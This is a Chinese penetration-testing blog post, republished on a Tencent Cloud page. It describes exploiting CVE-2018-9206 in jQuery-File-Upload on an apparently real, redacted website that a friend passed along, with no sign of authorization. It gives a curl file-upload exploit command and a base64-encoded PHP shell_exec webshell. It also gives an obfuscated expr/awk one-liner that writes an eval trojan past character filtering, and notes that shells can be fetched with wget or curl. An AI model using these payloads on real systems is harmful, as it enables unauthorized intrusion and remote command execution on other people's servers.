Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2018-9206渗透实战

CVE-2018-9206渗透实战

作者头像
鸿鹄实验室
发布于 2021-04-15 05:12:22
发布于 2021-04-15 05:12:22
1.2K01
代码可运行
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室
运行总次数:1
代码可运行

起因:

最近无聊嘛,正好在公司的朋友丢过来一个站,让帮忙看看,那就搞起呗...

过程:

目标地址:

www.xxx.com

延迟搞到我怀疑人生。

先来一波基本的信息收集:

再来看看WAF情况

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Checking https://www.xxxx.com/
Generic Detection results:
The site https://www.xxx.com/ seems to be behind a WAF or some sort of security solution
Reason: Blocking is being done at connection/packet level.
Number of requests: 1

端口开放情况这里推荐大家一个插件shodan直接探测端口,很方便:

前台基本没什么漏洞,随手扫了一下目录,扫到了一个地址,只能说自己字典还不错:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://www.xxx.com/scripts/jQuery-File-Upload

访问之:

jQuery上传组件,这个组建的漏洞还是蛮多的,详情请戳:https://xz.aliyun.com/t/3819

要是有CVE-2018-9206可就太舒服了,该漏洞影响版本为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
version <= 9.22.0 and with Apache > 2.3.9

在网上找到对应的漏洞利用工具,进行测试

人品这么差?失败??不存在的!!我们先来分析一下这个exp的检测方式,首先根据路径拼接一下路径:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
"server/php/upload.class.php" "example/upload.php" "server/php/UploadHandler.php" "php/index.php"

若存在则构建以下数据包,进行上传:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
curl --connect-timeout 10 -sk -A "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" -F "files[]=@nwSezQ0fg6tf.php" -F "filename=nwSezQ0fg6tf.php" "https://www.xxx.com/scripts/jQuery-File-Upload//server/php/index.php"

文件名为随机的,文件内容为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php echo \"it works\"; unlink(__FILE__); ?>

然后拼接:

路径 + server/php/files/刚才随机的文件名.php

若文件存在且内容中存在it works则显示成功,可是这样也存在一些缺点就是,一旦网站管理人员更改了上传目录,你就会一直失败,根据多年经验,盲猜文件上传后的地址在刚才的upload目录中:果然访问以下地址,出现403

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://www.xxx.com/upload/files/

然后加上文件名,发现文件上次成功:

下面就好说了,直接写shell就好了,可是linux下直接写shell是不行的,会出现下面这样的情况:

这个倒是好说,使用base64写入就好了,写入后菜刀一直无法连接,提示返回信息为空,怀疑是disable_function在作怪,传phpinfo查看:

disbale_function如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,  pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority

没发现什么,换shell_exec尝试,将exp中的

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
echo "<?php echo \"it works\"; unlink(__FILE__); ?>" > ${MALICIOUS_FILE}

替换为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
echo -n "PD9waHAgJGNtZD0kX0dFVFsibmFtZSJdO2VjaG8gc2hlbGxfZXhlYygkY21kKTsgPz4=" | base64 -d > ${MALICIOUS_FILE}

访问,执行命令成功:

这样总归不如菜刀、蚁剑来的方便,我们还是可以选择去写一个shell进去,大体方案有如下两种:

1.如何echo 写shell

2.如何通过下载得shell

如何echo 写shell,以写一句话PHP木马为例,主要解决的是.(点)的问题,$(美元符号),以及>(管道符号)和括号,首先echo一个文件进去:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
echo <?php eval($_REQUEST[v]);?> >test.php

既然不能生成那就 ”借”,直接借现有文件中的字符.可以从变量中借或者从现有的文件中借.用到的方法是linux Shell expr的方法.

payload如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
echo `expr substr $(awk NR==1 xxoo) 1 1`?php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php;

2·就简单多了,wget,curl啥的,多的是。

其他的操作就到这里吧,毕竟人家不让提权哈哈哈

觉得好看就点个赞吧!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-12-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
【实战】对某擦边站点的一次渗透
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2022/12/19
8790
【实战】对某擦边站点的一次渗透
简单安全防护
简单安全防护 一、服务器防护 1. 端口防护 尽量将端口禁用,尽量不要将端口暴露在公网,尽量仅供127.0.0.1访问 如非必要,尽量不要将服务暴露在公网,尤其是数据库等服务 设置连续登录失败禁用一段时间,防爆破 2. 网站防护 攻击者一般直接使用ip来攻击网站,可以将ip访问的默认网站只写一个首页 上述不利于搜索引擎收录,可以将搜索引擎的域名加入白名单使用Nginx转发 避免Js操作cookie,开启HTTP_ONLY 3. web容器配置 Nginx提供限制访问模块,防护CC与DD
WindRunnerMax
2020/08/27
1.4K0
一种绕过php disablefunc的方法复现
无意中刷到一个文章,关于disablefunction的方法绕过的,依然是脚本小子式的复现环境。
用户5878089
2019/07/23
1.7K0
php文件自包含的奇淫技巧
刷题的时候刚好看到一个比较厉害的phpinfo的利用姿势,原理不是很懂,题目来自百度杯12月第四场Blog进阶版
用户5878089
2019/07/24
1.1K0
pwnhub_another php web部分
周末不是太有时间,所以就没怎么打pwnhub,后来快结束的时候完成了web部分,这里贴上web部分的wp吧
LoRexxar
2023/02/21
5210
pwnhub_another php web部分
【永久开源】vulntarget-d 打靶记录——作者:NaMi
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2022/03/11
1.3K0
【永久开源】vulntarget-d 打靶记录——作者:NaMi
CTF系列——DASCTF四月春季赛Writeup
很久没正式打CTF,周末抽空参加了下安恒四月赛的DASCTF,个别题目质量还是蛮高的,这里把做出来的和赛后补充的做个记录。
Jayway
2020/05/09
5.9K1
CTF系列——DASCTF四月春季赛Writeup
记一次因“打码”不严的渗透测试
这篇文章记录的是笔者在阅读“******惨案之对某色情直播渗透”文章时发现可能存在漏点的情况,所以就想着尝试找出目标站点并对其漏洞进行复现测试,再看下能不能继续深入的搞点事情。
HACK学习
2020/11/03
2.4K1
记一次因“打码”不严的渗透测试
干货 | Linux下权限维持实战
LD_PRELOAD 是 Linux 系统中的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。如果你是个 Web 狗,你肯定知道 LD_PRELOAD,并且网上关于 LD_PRELOAD 的文章基本都是绕过 disable_functions,都快被写烂了。
HACK学习
2021/11/02
2K0
和老李一起搞山寨Workerman(三)
今日清晨睡梦中醒来,已是7点40分有余。静躺在床上,耳边远处又断断续续萦绕着老人们在楼下的野园子里跟着于魁智吊嗓子的声音,时不时还夹杂着一段段抖空竹的风哨声。
老李秀
2019/12/11
1.2K0
和老李一起搞山寨Workerman(三)
PHP进程间通信-信号
(一)PHP进程间通信-信号 信号是一种系统调用。通常我们用的kill命令就是发送某个信号给某个进程的。具体有哪些信号可以在liunx/mac中运行kill -l查看。下面这个例子中,父进程等待5秒钟,向子进程发送sigint信号。子进程捕获信号,调信号处理函数处理。
码农编程进阶笔记
2021/07/20
1.8K0
php安全配置记录和常见错误梳理
通常部署完php环境后会进行一些安全设置,除了熟悉各种php漏洞外,还可以通过配置php.ini来加固PHP的运行环境,PHP官方也曾经多次修改php.ini的默认设置。 下面对php.ini中一些安全相关参数的配置进行说明 register_globals 当register_globals = ON时,PHP不知道变量从何而来,也容易出现一些变量覆盖的问题。因此从最佳实践的角度,强烈建议设置 register_globals = OFF,这也是PHP新版本中的默认设置。 open_basedirope
洗尽了浮华
2018/01/22
2.2K0
[蓝帽杯 2021]One Pointer PHP | BUU
虽然这个比赛只有一个Web题但是质量确实挺高的,值得用一篇文章来记录一下 这道题主要核心内容就是打PHP-FPM服务的原理和方法
h0cksr
2023/05/17
6560
[蓝帽杯 2021]One Pointer PHP | BUU
干货 | 突破disable_functions限制执行命令·上
disable_functions是php.ini中的一个设置选项。相当一个黑名单,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。
HACK学习
2022/02/17
5.6K0
干货 | 突破disable_functions限制执行命令·上
PHP进程管理
这篇文章是对之前一篇文章的补充和改进, 创建一个主(master)进程,主进程安装定时器,每隔5分钟检测一次队列长度,根据队列长度计算需要的worker进程,
用户3094376
2018/12/06
1.8K0
【多进程】php多进程编程
php实现多进程需要安装pcntl模块,这个模块是php官方提供的,所以我们可以在PHP源码中找到,下载 php7.3.7 源码并解压到 /home 目录下,这时我们需要的扩展 pcntl 在 /home/php-7.3.7/ext/pcntl
码缘
2019/07/15
9460
【多进程】php多进程编程
pcntl_exec函数的作用以及用法
我们会看到经过pcntl_exec函数,test.php 里面的代码也执行,这其实就是pcntl_exec的作用,用来执行一个程序
北溟有鱼QAQ
2021/03/12
3K1
pcntl_exec函数的作用以及用法
老李在搞Workerman的日子里(五)
首先是我这两天看了一些三国演义,我决定学习罗贯中大爷那种给章节起名的方式,你们先xue微感受一下,如果觉得不好恶心想吐,那么你们都给我忍着!!!
老李秀
2019/12/11
1.1K0
PHP高级编程之守护进程
PHP高级编程之守护进程 摘要 2014-09-01 发表 2015-08-31 更新 2015-10-20 更新,增加优雅重启 ---- 目录 1. 什么是守护进程 2. 为什么开发守护进程 3. 何时采用守护进程开发应用程序 4. 守护进程的安全问题 5. 怎样开发守护进程 5.1. 程序启动 5.2. 程序停止 5.3. 单例模式 5.4. 实现优雅重启 6. 进程意外退出解决方案 1. 什么是守护进程 守护进程是脱离于终端并且在后台运行的进程。守护进程脱离于终端是为了避免进程在执行过程中的信息在任何
netkiller old
2018/03/05
1.2K0
bypass disable function学习
信息收集是不可缺少的一环;通常的,我们在通过前期各种工作成功执行代码 or 发现了一个phpinfo页面之后,会从该页面中搜集一些可用信息以便后续漏洞的寻找。
HhhM
2022/08/10
2.3K0
bypass disable function学习
相关推荐
【实战】对某擦边站点的一次渗透
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验